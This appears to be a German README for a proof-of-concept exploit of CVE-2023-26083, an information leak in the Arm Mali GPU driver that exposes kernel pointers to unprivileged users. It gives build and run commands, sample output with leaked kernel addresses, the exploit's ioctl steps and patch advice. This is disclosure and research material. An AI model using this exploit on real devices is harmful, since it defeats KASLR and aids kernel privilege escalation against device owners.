CVE-2023-26083 – Leck von Kernel-Adressen über Timeline-Stream im Mali-GPU-Treiber

Dieses Repository enthält einen Proof-of-Concept-Exploit (PoC) für CVE-2023-26083, eine Sicherheitslücke im Mali-GPU-Treiber (Arm Mali GPU Kernel Driver), die es einem unprivilegierten Benutzer ermöglicht, Kernel-Zeiger und sensible interne Informationen über den Timeline-Stream (/dev/mali0) preiszugeben.

Schwachstellenübersicht

Der Mali-GPU-Treiber bietet eine „Timeline-Stream“-Funktion (tlstream) zur Profilerstellung und Fehlerdiagnose. Dieser Stream exportiert Ereignisse, die rohe Kernel-Zeiger enthalten (z. B. Adressen von kbase_context, kbase_gpu, kbase_lpu, Adressräumen, Atomen usw.). Normalerweise sollte der Zugriff auf diesen Stream das Flag BASE_CONTEXT_CREATE_FLAG_MONITOR erfordern. Aufgrund einer fehlenden Berechtigungsprüfung im Handler KBASE_IOCTL_TLSTREAM_ACQUIRE kann jedoch jeder Prozess (auch ohne Monitor-Flag) einen Dateideskriptor für den Timeline-Stream erhalten und Kernel-Speicheradressen lesen.

Auswirkungen:

Das Offenlegen von Kernel-Zeigern umgeht den Kernel-ASLR (KASLR).
In Kombination mit anderen Sicherheitslücken (z. B. Use-After-Free, beliebigem Schreiben) kann dies zu Privilegieneskalation oder beliebiger Kernel-Codeausführung führen.
Der Leak selbst gibt den internen Treiberzustand preis und kann zum Fingerprinting verwendet werden.

Betroffene Versionen

Arm Mali GPU Kernel Driver-Versionen vor dem Fix für CVE-2023-26083.

Build & Ausführung

Voraussetzungen

Ein Gerät mit einer Mali-GPU (z. B. Exynos, MediaTek, einige Rockchip-SoCs).
Root-Zugriff ist nicht erforderlich – der PoC funktioniert als unprivilegierter Benutzer.
Der Kernel muss den Mali-Treiber fest eingebaut oder als Modul haben (/dev/mali0 muss existieren).

Kompilierung

Da der Code in sich geschlossen und eigenständig ist, können Sie ihn einfach mit Standardwerkzeugen cross-kompilieren.

1. Für Android (empfohlen)

Verwenden Sie die Android-NDK-Toolchain, um für ARM64-Geräte zu kompilieren. Es wird dringend empfohlen, statisches Linking zu verwenden, um Kompatibilitätsprobleme des dynamischen Linkers auf verschiedenen Android-Versionen zu vermeiden:

aarch64-linux-android21-clang -static -o mali_tlstream_leak mali_tlstream_leak.c

2. Für ARM-basierte Linux-Desktops/Boards

Wenn Sie auf einem ARM-Entwicklungsboard (wie Raspberry Pi oder Odroid) testen, das eine Mali-GPU hat und eine Standard-Linux-Distribution ausführt:

gcc -static -o mali_tlstream_leak mali_tlstream_leak.c

Ausführung

./mali_tlstream_leak

Das Programm wird:

/dev/mali0 öffnen.
Einen Versionscheck durchführen.
Flags auf BASE_CONTEXT_CREATE_FLAG_NONE setzen (kein Monitor-Privileg).
Den Timeline-Stream abrufen (anfälliger ioctl).
Einige Sekunden lang Timeline-Pakete lesen.
Kernel-Zeiger-Leaks analysieren und anzeigen (markiert mit *** KERNEL).

Beispielausgabe

Hinweis: Dieser Proof-of-Concept (PoC) wurde nur auf einem Samsung Galaxy J7 Prime mit Android 8.1.0 (Kernel 3.18) und dem Sicherheitspatch-Level vom 1. April 2020 getestet.

on7xelte:/data/local/tmp $ ./mali_tlstream_leak
Version: major=11 minor=5
SET_FLAGS ok
TLSTREAM_ACQUIRE ok, tlfd=4
Read 3805 bytes from tlstream (total=3805)

Raw hex dump (3805 bytes):

0000: 01 00 00 04 e1 0a 00 00 03 08 20 00 00 00 00 00
0010: 00 00 11 00 00 00 4b 42 41 53 45 5f 54 4c 5f 4e
0020: 45 57 5f 43 54 58 00 16 00 00 00 6f 62 6a 65 63
0030: 74 20 63 74 78 20 69 73 20 63 72 65 61 74 65 64
0040: 00 05 00 00 00 40 70 49 49 00 10 00 00 00 63 74
0050: 78 2c 63 74 78 5f 6e 72 2c 74 67 69 64 00 01 00
0060: 00 00 11 00 00 00 4b 42 41 53 45 5f 54 4c 5f 4e
0070: 45 57 5f 47 50 55 00 16 00 00 00 6f 62 6a 65 63
0080: 74 20 67 70 75 20 69 73 20 63 72 65 61 74 65 64
0090: 00 05 00 00 00 40 70 49 49 00 16 00 00 00 67 70
00a0: 75 2c 67 70 75 5f 69 64 2c 63 6f 72 65 5f 63 6f
00b0: 75 6e 74 00 02 00 00 00 11 00 00 00 4b 42 41 53
00c0: 45 5f 54 4c 5f 4e 45 57 5f 4c 50 55 00 16 00 00
00d0: 00 6f 62 6a 65 63 74 20 6c 70 75 20 69 73 20 63
00e0: 72 65 61 74 65 64 00 05 00 00 00 40 70 49 49 00
00f0: 12 00 00 00 6c 70 75 2c 6c 70 75 5f 6e 72 2c 6c
0100: 70 75 5f 66 6e 00 03 00 00 00 12 00 00 00 4b 42
0110: 41 53 45 5f 54 4c 5f 4e 45 57 5f 41 54 4f 4d 00
0120: 17 00 00 00 6f 62 6a 65 63 74 20 61 74 6f 6d 20
0130: 69 73 20 63 72 65 61 74 65 64 00 04 00 00 00 40
0140: 70 49 00 0d 00 00 00 61 74 6f 6d 2c 61 74 6f 6d
0150: 5f 6e 72 00 04 00 00 00 10 00 00 00 4b 42 41 53
0160: 45 5f 54 4c 5f 4e 45 57 5f 41 53 00 20 00 00 00
0170: 61 64 64 72 65 73 73 20 73 70 61 63 65 20 6f 62
0180: 6a 65 63 74 20 69 73 20 63 72 65 61 74 65 64 00
0190: 04 00 00 00 40 70 49 00 14 00 00 00 61 64 64 72
01a0: 65 73 73 5f 73 70 61 63 65 2c 61 73 5f 6e 72 00
01b0: 05 00 00 00 11 00 00 00 4b 42 41 53 45 5f 54 4c
01c0: 5f 44 45 4c 5f 43 54 58 00 15 00 00 00 63 6f 6e
01d0: 74 65 78 74 20 69 73 20 64 65 73 74 72 6f 79 65
01e0: 64 00 03 00 00 00 40 70 00 04 00 00 00 63 74 78
01f0: 00 06 00 00 00 12 00 00 00 4b 42 41 53 45 5f 54

Parsing packets:

Packet at offset 0: family=TL class=OBJ type=HEADER stream=1 len=2785 numbered=0

Packet at offset 2793: family=TL class=OBJ type=SUMMARY stream=1 len=1004 numbered=0
  [NEW_LPU] (ts=104596762668116, 16 bytes payload) ptr0=0xffffffc0baead7f8 *** KERNEL val1=0 val1=526
  [NEW_LPU] (ts=104596762668539, 16 bytes payload) ptr0=0xffffffc0baead7fc *** KERNEL val1=1 val1=510
  [NEW_LPU] (ts=104596762669039, 16 bytes payload) ptr0=0xffffffc0baead800 *** KERNEL val1=2 val1=126
  [NEW_AS] (ts=104596762669654, 12 bytes payload) ptr0=0xffffffc0baeac740 *** KERNEL val1=0
  [NEW_AS] (ts=104596762670078, 12 bytes payload) ptr0=0xffffffc0baeac838 *** KERNEL val1=1
  [NEW_AS] (ts=104596762670347, 12 bytes payload) ptr0=0xffffffc0baeac930 *** KERNEL val1=2
  [NEW_AS] (ts=104596762670539, 12 bytes payload) ptr0=0xffffffc0baeaca28 *** KERNEL val1=3
  [NEW_AS] (ts=104596762670847, 12 bytes payload) ptr0=0xffffffc0baeacb20 *** KERNEL val1=4
  [NEW_AS] (ts=104596762671001, 12 bytes payload) ptr0=0xffffffc0baeacc18 *** KERNEL val1=5
  [NEW_AS] (ts=104596762671154, 12 bytes payload) ptr0=0xffffffc0baeacd10 *** KERNEL val1=6
  [NEW_AS] (ts=104596762671462, 12 bytes payload) ptr0=0xffffffc0baeace08 *** KERNEL val1=7
  [NEW_GPU] (ts=104596762671808, 16 bytes payload) ptr0=0xffffffc0baeac000 *** KERNEL val1=137363472 val1=1
  [LIFELINK_LPU_GPU] (ts=104596762671962, 16 bytes payload) ptr0=0xffffffc0baead7f8 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
  [LIFELINK_LPU_GPU] (ts=104596762672385, 16 bytes payload) ptr0=0xffffffc0baead7fc *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
  [LIFELINK_LPU_GPU] (ts=104596762672578, 16 bytes payload) ptr0=0xffffffc0baead800 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
  [LIFELINK_AS_GPU] (ts=104596762672924, 16 bytes payload) ptr0=0xffffffc0baeac740 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
  [LIFELINK_AS_GPU] (ts=104596762673116, 16 bytes payload) ptr0=0xffffffc0baeac838 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
  [LIFELINK_AS_GPU] (ts=104596762673385, 16 bytes payload) ptr0=0xffffffc0baeac930 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
  [LIFELINK_AS_GPU] (ts=104596762673539, 16 bytes payload) ptr0=0xffffffc0baeaca28 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
  [LIFELINK_AS_GPU] (ts=104596762673847, 16 bytes payload) ptr0=0xffffffc0baeacb20 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
  [LIFELINK_AS_GPU] (ts=104596762674001, 16 bytes payload) ptr0=0xffffffc0baeacc18 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
  [LIFELINK_AS_GPU] (ts=104596762674154, 16 bytes payload) ptr0=0xffffffc0baeacd10 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
  [LIFELINK_AS_GPU] (ts=104596762674462, 16 bytes payload) ptr0=0xffffffc0baeace08 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
  [NEW_CTX] (ts=104596762674962, 16 bytes payload) ptr0=0xffffff802619e000 *** KERNEL val1=194 val1=12465
  [NEW_CTX] (ts=104596762675654, 16 bytes payload) ptr0=0xffffff8025e13000 *** KERNEL val1=193 val1=12116
  [NEW_CTX] (ts=104596762676385, 16 bytes payload) ptr0=0xffffff8025bb3000 *** KERNEL val1=192 val1=11342
  [NEW_CTX] (ts=104596762677154, 16 bytes payload) ptr0=0xffffff801de1f000 *** KERNEL val1=156 val1=24216
  [NEW_CTX] (ts=104596762677885, 16 bytes payload) ptr0=0xffffff801db73000 *** KERNEL val1=150 val1=29044
  [NEW_CTX] (ts=104596762678616, 16 bytes payload) ptr0=0xffffff80224ce000 *** KERNEL val1=145 val1=6525
  [NEW_CTX] (ts=104596762679693, 16 bytes payload) ptr0=0xffffff801f1f2000 *** KERNEL val1=47 val1=3367
  [NEW_CTX] (ts=104596762680385, 16 bytes payload) ptr0=0xffffff801e187000 *** KERNEL val1=36 val1=23263
  [NEW_CTX] (ts=104596762681385, 16 bytes payload) ptr0=0xffffff80243c5000 *** KERNEL val1=26 val1=15858
  [NEW_CTX] (ts=104596762682193, 16 bytes payload) ptr0=0xffffff8020cff000 *** KERNEL val1=24 val1=4256
  [NEW_CTX] (ts=104596762682885, 16 bytes payload) ptr0=0xffffff801f221000 *** KERNEL val1=15 val1=10645
  [NEW_CTX] (ts=104596762683654, 16 bytes payload) ptr0=0xffffff801dbca000 *** KERNEL val1=3 val1=2976
  [NEW_CTX] (ts=104596762684501, 16 bytes payload) ptr0=0xffffff802b375000 *** KERNEL val1=2 val1=3409
  [NEW_CTX] (ts=104596762685039, 16 bytes payload) ptr0=0xffffff8020d88000 *** KERNEL val1=0 val1=2613

Wie gezeigt, leakte der PoC erfolgreich mehrere Kernel-Adressen:

LPU (Logic Processing Unit)-Objekte
Address Space (AS)-Objekte
GPU-Objekt
Kontextobjekte (kbase_context)

Code-Erklärung

Die wichtigsten Schritte sind:

/dev/mali0 öffnen – standardmäßige Mali-Geräteschnittstelle.
KBASE_IOCTL_VERSION_CHECK – erforderlich, um den Treiberkontext zu initialisieren.
KBASE_IOCTL_SET_FLAGS – setzt create_flags auf BASE_CONTEXT_CREATE_FLAG_NONE (kein Monitor-Privileg). Dies sollte normalerweise den tlstream-Zugriff blockieren, aber der Fehler ermöglicht die Umgehung.
KBASE_IOCTL_TLSTREAM_ACQUIRE – einen neuen Dateideskriptor für den Timeline-Stream erhalten. Trotz des fehlenden Monitor-Flags gibt der ioctl einen gültigen fd zurück.
read() – rohe Timeline-Pakete lesen.
Parser – dekodiert den Paketkopf und die Timeline-Ereignisnachrichten und extrahiert Kernel-Zeiger.

Abhilfe / Patch

Aktualisieren Sie Ihren Kernel auf eine Version, die den Fix für CVE-2023-26083 enthält.
Alternativ, wenn Sie ein Hersteller sind, wenden Sie den Patch von Arm oder dem stabilen Linux-Kernel-Baum an.

Haftungsausschluss

Dieser Code wird ausschließlich zu Bildungs- und Sicherheitsforschungszwecken bereitgestellt.
Die Verwendung dieses Exploits auf Systemen ohne ausdrückliche Genehmigung kann gegen geltende Gesetze verstoßen. Der Autor übernimmt keine Verantwortung für Missbrauch oder Schäden, die durch diese Software verursacht werden. Verwenden Sie ihn nur auf Geräten, die Ihnen gehören oder für die Sie eine schriftliche Testgenehmigung haben.

Referenzen

Autor

Noveris

CVE-2023-26083

Beliebteste